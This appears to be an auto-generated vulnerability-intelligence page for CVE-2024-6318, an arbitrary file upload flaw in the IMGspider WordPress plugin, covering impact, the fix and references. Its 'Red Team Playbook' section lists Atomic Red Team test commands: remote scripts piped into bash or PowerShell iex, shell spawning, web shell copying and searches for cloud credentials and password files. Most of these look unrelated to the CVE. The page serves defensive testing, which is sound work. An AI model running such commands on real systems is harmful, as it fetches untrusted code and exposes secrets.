CVE-2024-6318
Overview
This vulnerability is an arbitrary file upload flaw resulting from insufficient file type validation within the 'upload_img_file' function of the IMGspider WordPress plugin. The root cause lies in the absence of proper sanitization and verification of uploaded file extensions and MIME types, allowing unauthorized file formats to be accepted. The affected component is the image upload handler in all plugin versions up to and including 2.3.10.
Vulnerability Description
The IMGspider plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'upload_img_file' function in all versions up to, and including, 2.3.10. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or higher access can upload arbitrary files, including malicious scripts, to the server, potentially enabling remote code execution. This requires authentication with at least contributor privileges but no user interaction beyond file upload. Successful exploitation can lead to full site compromise, data theft, or service disruption. The CVSS vector indicates network attack vector, low attack complexity, and high impact on confidentiality, integrity, and availability.
Solution
Users should upgrade the IMGspider plugin to version 2.3.11 or later, where proper file type validation has been implemented, as documented in the WordPress plugin changelog and security advisory at https://plugins.trac.wordpress.org/changeset/3107741/imgspider. Administrators can refer to the Wordfence advisory (ID 306f00e4-9a70-48be-a91e-e396643a8129) for detailed patch instructions and verification steps. No alternative workarounds are recommended beyond applying the official update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the IMGspider plugin for WordPress arises from inadequate validation of file types during the upload process. Specifically, the 'upload_img_file' function fails to enforce strict checks on the files being uploaded, allowing attackers to bypass restrictions and upload arbitrary files. This oversight is particularly concerning as it permits authenticated users with contributor-level permissions or higher to exploit the flaw. By uploading malicious files, attackers can potentially execute arbitrary code on the server, leading to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors. A common scenario involves an authenticated attacker leveraging their permissions to upload a web shell disguised as an image file. Once uploaded, the attacker can execute commands on the server, manipulate files, or even pivot to other parts of the network. Additionally, the lack of proper file type validation means that attackers can upload files with dangerous extensions, such as PHP or executable scripts, which can be executed directly by the web server. This type of exploitation can lead to significant data breaches, unauthorized access to sensitive information, and further compromise of the affected system.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the IMGspider plugin for managing image uploads on their WordPress sites. The potential for remote code execution poses a high business risk, as successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even complete server compromise. The consequences can extend beyond immediate financial losses, as organizations may face reputational damage, legal liabilities, and regulatory penalties if customer data is exposed or misused. Furthermore, the ease of exploitation, given that only contributor-level access is required, increases the likelihood of attacks, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate any weaknesses in their WordPress installations and plugins. Additionally, organizations should ensure that they are using the latest version of the IMGspider plugin, as updates often include critical security patches. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests and preventing unauthorized file uploads. Lastly, restricting user permissions and implementing the principle of least privilege can help minimize the risk of exploitation by limiting the number of users who can upload files.
In conclusion, the vulnerability in the IMGspider plugin represents a significant threat to WordPress sites, with the potential for severe consequences if exploited. Organizations must take proactive measures to detect and mitigate this risk, ensuring that their web applications remain secure against evolving threats. By implementing robust security practices, maintaining up-to-date software, and monitoring for suspicious activity, organizations can better protect themselves from the dangers posed by such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wbolt | Imgspider | All |
cpe:2.3:a:wbolt:imgspider:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6318 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/306f00e4-9a70-48be-a91e-e396643a8129?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/imgspider/tags/2.3.10/classes/post.class.php#L122 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3107741/imgspider |